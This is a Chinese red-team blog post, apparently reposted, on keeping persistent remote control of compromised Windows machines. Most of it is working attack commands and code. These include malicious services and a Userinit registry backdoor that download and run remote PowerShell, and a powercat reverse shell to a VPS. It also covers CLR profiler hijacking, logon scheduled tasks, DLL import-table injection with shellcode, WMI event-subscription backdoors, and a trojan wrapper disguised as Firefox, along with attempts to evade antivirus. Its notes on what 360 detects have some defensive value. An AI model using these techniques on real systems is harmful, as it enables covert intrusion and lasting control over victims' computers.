Windows远控之权限维持

admin 2022年3月1日02:06:14评论203 views字数 6860阅读22分52秒阅读模式

一丶建立系统服务

获得了管理员的权限可以选择建立系统服务来进行持久控制,会被杀软拦截。

1、使用sc命令建立系统服务,可以选择执行上传的木马,或者powershell远程执行。

  1. sc create "nuoyan" binpath= "c:accc.exe"

  2. sc create "主动防御" binpath= "cmd /c start powershell.exe IEX (new-object net.webclient).downloadstring('http://x.x.x.x/a')"

  3. 设置为自动运行

  4. sc config "服务名" start= auto

  5. 删除服务。

  6. sc delete "服务名

Windows远控之权限维持

Windows远控之权限维持

2、使用powershell建立系统服务,Name指定服务名,BinaryPathName指定文件路径。

 

powershell.exe new-service –Name nuoyani  –BinaryPathName "C:WINDOWSTemp360.exe" –StartupType Automatic

 

Windows远控之权限维持

 

$c2='new-';$c3='service –Name nuoyani –DisplayName OrderServ –BinaryPathName "C:accc.exe" –StartupType Automatic'; $Text=$c2+$c3;IEX(-join $Text)

 

多次尝试绕过杀软添加服务失败,360会先检测new-service关键字拦截powershell,使用拆分法绕过,360又对注册表行为进行了检测,无法绕过。

二丶注册表运行键

2.1、userinit注册表后门

在用户进行登陆时,可以更改它的值来添加与删除程序。从而达到增加隐蔽后门的目的。

使用powershell命令对键值进行修改。

powershell.exe Set-ItemProperty "HKLM:SOFTWAREMicrosoftWINDOWS NTCurrentVersionWinlogon" -name Userinit -value "C:Windowssystem32userinit.exe,powershell.exe  IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))" 

使用cs实际执行时发现几个坑点:

1、直接执行powershell命提示找不到实际参数。

Windows远控之权限维持

Windows远控之权限维持

解决方法:把powershell命令保存到ps1文件中,使用命令后直接执行ps1文件。

Windows远控之权限维持

2、cs执行失败(原因未知)

首先需要修改本机powershell的执行策略为可执行,使用Set-ExecutionPolicy 设置执行的策略为RemoteSigned (本地脚本无限制)

当使用cs执行ps1文件,注册表键值未发生改变。经过多次尝试都没能执行成功。

Windows远控之权限维持

Windows远控之权限维持

本地执行ps1文件,可以正常执行成功。

Windows远控之权限维持

Windows远控之权限维持

尝试反弹shell到vps上,可以成功运行ps1脚本。

powershell IEX (New-Object System.Net.Webclient).DownloadString('http://x.x.x.x/ps/powercat.ps1');powercat -c x.x.x.x -p xx -e cmd

Windows远控之权限维持 

Windows远控之权限维持 

开启360进行测试,无法绕过360增加userinit注册表后门。

Windows远控之权限维持

2.2 、CLR后门

全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。可以在没有管理员权限情况下,够劫持所有.Net程序,系统默认调用.net程序,导致后门自动触发。

1、首先准备dll后门文件,区分32和64位。

可以使用cs自带的dll后门文件,但是不免杀,可以根据自己的需求自己写dll。

Windows远控之权限维持

2、修改当前用户的环境变量。

可以使用wmi进行修改 

  1. wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"

  2. wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" 

或者使用powershell修改

  1. New-ItemProperty "HKCU:Environment" COR_ENABLE_PROFILING -value "1" -propertyType string | Out-Null

  2. New-ItemProperty "HKCU:Environment" COR_PROFILER -value "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" -propertyType string | Out-Null


3、执行reg add修改注册表键值。

32位系统

  1. REG ADD "HKCUSoftwareClassesCLSID{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}InprocServer32" /ve /t REG_EXPAND_SZ /d "C:tidetide32.dll" /f

  2. REG ADD "HKCUEnvironment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f

  3. REG ADD "HKCUEnvironment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f

dll分为32和64,

64位系统需要同时修改32和64的注册表键值。

  1. REG ADD "HKCUSoftwareClassesCLSID{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}InprocServer32" /ve /t REG_EXPAND_SZ /d "C:tidetide64.dll" /f

  2. REG ADD "HKCUEnvironment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f

  3. REG ADD "HKCUEnvironment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f

  4. REG ADD "HKCUSoftwareClassesWoW6432NodeCLSID{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}InprocServer32" /ve /t REG_EXPAND_SZ /d "C:tidetidd32.dll" /f

  5. REG ADD "HKCUEnvironment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f

  6. REG ADD "HKCUEnvironment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f

Windows远控之权限维持

 

Windows远控之权限维持

 

Windows远控之权限维持

4、设置成功,cs中执行powershell.exe ,成功接收到会话,调用其它.net程序时都可以接收到会话。

Windows远控之权限维持

Windows远控之权限维持

无法绕过360。

使用WMI修改环境变量会被拦截;dll文件不免杀会被拦截;修改注册表行为会被拦截。

Windows远控之权限维持

还有持久性后门都是对注册表进行操作,都无法绕过杀软。

三、计划任务

管理员权限下,使用schtasks.exe创建一个计划任务,/TN为任务名,/TR为木马路径,设置当任何用户登录时触发计划任务,执行木马。

上传免杀的exe木马,执行命令。

schtasks.exe /Create /TN 主动防御 /TR c:windowstemptide_ms.exe  /SC ONLOGON /F /RL HIGHEST 

Windows远控之权限维持

360能够拦截相关行为。

Windows远控之权限维持

 

Windows远控之权限维持

四、dll后门

恶意dll注入到正常程序的导入表中,每当运行程序都会加载恶意dll,从而达到持久控制的目的。

团队逆向大佬雨夜RainyNight已经发表过相关的技术文章。

直接使用自动化dll注入工具,输入shellcode自动生成dll文件。

Windows远控之权限维持

使用cs自动生成的shellcode,可以提取免杀exe的shellcode。

Windows远控之权限维持

生成dll文件。

Windows远控之权限维持

把生成的dll文件和conf.inf放入到KK.exe的同级目录下。

Windows远控之权限维持

选择生成的dll和kk.exe

Windows远控之权限维持

运行kk.exe ,cs成功上线。

重启电脑后,启动kk.exe可以上线。

Windows远控之权限维持

实际情况可能无法登录对方的远程桌面,且使用的dll注入工具会报毒。

可以查看对方安装的软件,下载相同版本,在本地进行进行dll注入,然后把生成的exe文件,dll文件,conf.inf文件一起上传到目标机器的指定目录下,替换原有exe文件。

Windows远控之权限维持

当目标机器执行被替换后的exe时,恶意dll被执行,达到持久性控制的目的。

Windows远控之权限维持

360可以查杀到dll(iat).exe工具生成dll的特征值,使用弹计算器的shellcode仍然会被查杀。

 

xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffxacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8bx01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xebx8dx5dx6ax01x8dx85xb2x00x00x00x50x68x31x8bx6fx87xffxd5xbbxe0x1dx2ax0ax68xa6x95xbdx9dxffxd5x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x53xffxd5x63x61x6cx63x2ex65x78x65x00

 

Windows远控之权限维持

自动化工具无法绕过杀软,可以根据这个思路,手动修改程序的iat导入表,从而达到免杀持久控制的目的。https://www.freebuf.com/articles/system/228233.html

工具下载网盘:链接:https://pan.baidu.com/s/1w8T5vgfGnIBU2Gkpq1kogQ

提取码:c29j

五、WMI后门

wmi触发器

wmi事件的基础:

1、事件筛选器

事件筛选器描述事件并且执行WQL事件查询。

2、事件消费者

事件消费者是什么呢?事件消费是一个派生自 __EventConsumer 系统类的类,它表示了在事件触发时的动作。我们常用的消费类有下面两个:

ActiveScriptEventConsumer - 执行嵌入的 VBScript 或 JScript 脚本 payload

CommandLineEventConsumer - 执行一个命令行程序

3、消费者绑定筛选器

消费者绑定筛选器就是将筛选器绑定到消费者的注册机制。

####实例代码

事件筛选器在系统启动后的 200 和 320 秒之间被当作一个触发器,且60秒触发一次,在事件被触发时事件消费者会使用CommandLineEventConsumer执行已指定好的tide.exe。

  1. $fname = "cccc"

  2. $cname = "cccc"

  3. $CommandLineTemplate = "C:Windowstemptide.exe"

  4. $query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"

  5. $WMIEventFilter = Set-WmiInstance -Class __EventFilter -Namespace "rootsubscription" -Arguments @{Name=$fname;EventNameSpace="rootcimv2";QueryLanguage="WQL";Query=$query}

  6. $WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "rootsubscription" -Arguments @{Name=$cname;CommandLineTemplate=$CommandLineTemplate }

  7. Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "rootsubscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer} | out-null

当计算机重启后一段事件cs成功接收到2个会话信息。

可以根据实际需要选择合适的事件筛选器。

系统每过60秒触发一次事件消费者。

SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' 

当运行计算器后触发,且每5秒触发一次事件消费者。

SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='calc.exe'

使用Autoruns查看和删除WMI数据库的内容。

Windows远控之权限维持

360可以拦截到WMI相关行为。

Windows远控之权限维持

5、 伪装常用应用程序

替换目标常用快捷方式指向的exe文件。

查看桌面快捷方式火狐的目标位置,修改firefox.exe为firefox1.exe

编写代码成exe,分别运行火狐浏览器firefox1.exe,和木马文件tide.exe。

也可以执行其它系统命令,如powershell,有杀软的情况下需要对文件和powershell进行免杀处理。

Windows远控之权限维持

  1. #include<stdio.h>

  2. #include<stdlib.h>

  3. int main(){

  4. system(""C:\Program Files (x86)\Mozilla Firefox\firefox1.exe"");

  5. system("C:\Windows\Temp\tide.exe");

  6. return 0;

  7. }

使用Restorator修改exe文件图标。

Windows远控之权限维持

当用户点击桌面的快捷方式时,执行替换后的可执行文件,同时执行原文件和木马程序。

Windows远控之权限维持

6、总结 

本次只写出了一部分建立持久性后门的方法,还有许多方法没有进行演示,大部门方法都是对注册表进行更改,无法绕过杀软。

#参考文章

http://xnianq.cn/2018/07/23/windows%E5%90%8E%E9%97%A8%E7%A7%8D%E6%A4%8D%E6%96%B9%E5%BC%8F%E6%94%B6%E9%9B%86/

https://www.freebuf.com/sectool/157952.html

https://www.cnblogs.com/-qing-/p/10964486.html

https://yq.aliyun.com/articles/215002

https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-bypass-UAC/

https://www.freebuf.com/column/165235.html

https://www.bookstack.cn/read/Powershell-Attack-Guide/ch7.md

https://3gstudent.github.io/

https://www.freebuf.com/articles/system/228233.html

https://www.yuque.com/tidesec/redteam/sgfxkl

作者:Azjj98,转载于Azjj98博客。

本文始发于微信公众号(乌雲安全):Windows远控之权限维持

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月1日02:06:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows远控之权限维持http://cn-sec.com/archives/487448.html

发表评论

匿名网友 填写信息